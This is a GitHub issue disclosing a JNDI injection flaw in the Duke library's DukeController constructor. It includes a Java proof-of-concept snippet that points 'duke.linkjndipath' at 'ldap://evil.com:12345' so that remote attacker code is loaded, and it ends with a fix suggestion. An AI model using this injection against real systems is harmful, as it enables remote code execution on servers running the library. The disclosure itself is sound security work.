Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There's a code injection vulnerability of no.priv.garshol.duke.server.DukeController.<constructor>(Properties) #274

Open
LetianYuan opened this issue Jul 18, 2023 · 0 comments

Comments

@LetianYuan
Copy link

LetianYuan commented Jul 18, 2023

Affected Version
The latest version 1.2 and below.

Describe the vulnerability
There is a method no.priv.garshol.duke.server.DukeController.<constructor>(Properties). If the Properties parameter contains a property ("duke.linkjndipath", "ldap://example.com/Evil"), attackers might execute arbitrary commands through ctx.lookup("ldap://example.com/Evil"). For instance, following codes will lead to the execution of arbitrary codes from attackers:

Properties properties = new Properties();
properties.setProperty("duke.configfile", "src/main/resources/duke.xml");
properties.setProperty("duke.linkdbtype", "jndi");
properties.setProperty("duke.linkjndipath", "ldap://evil.com:12345");
properties.setProperty("duke.database", "mysql");
DukeController controller = new DukeController(properties);

To Reproduce
Build an LDAP server and provide malicious codes. Then just execute above codes would reproduce it.

Fix Suggestion
Filter LDAP, RMI and related protocols when using lookup.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant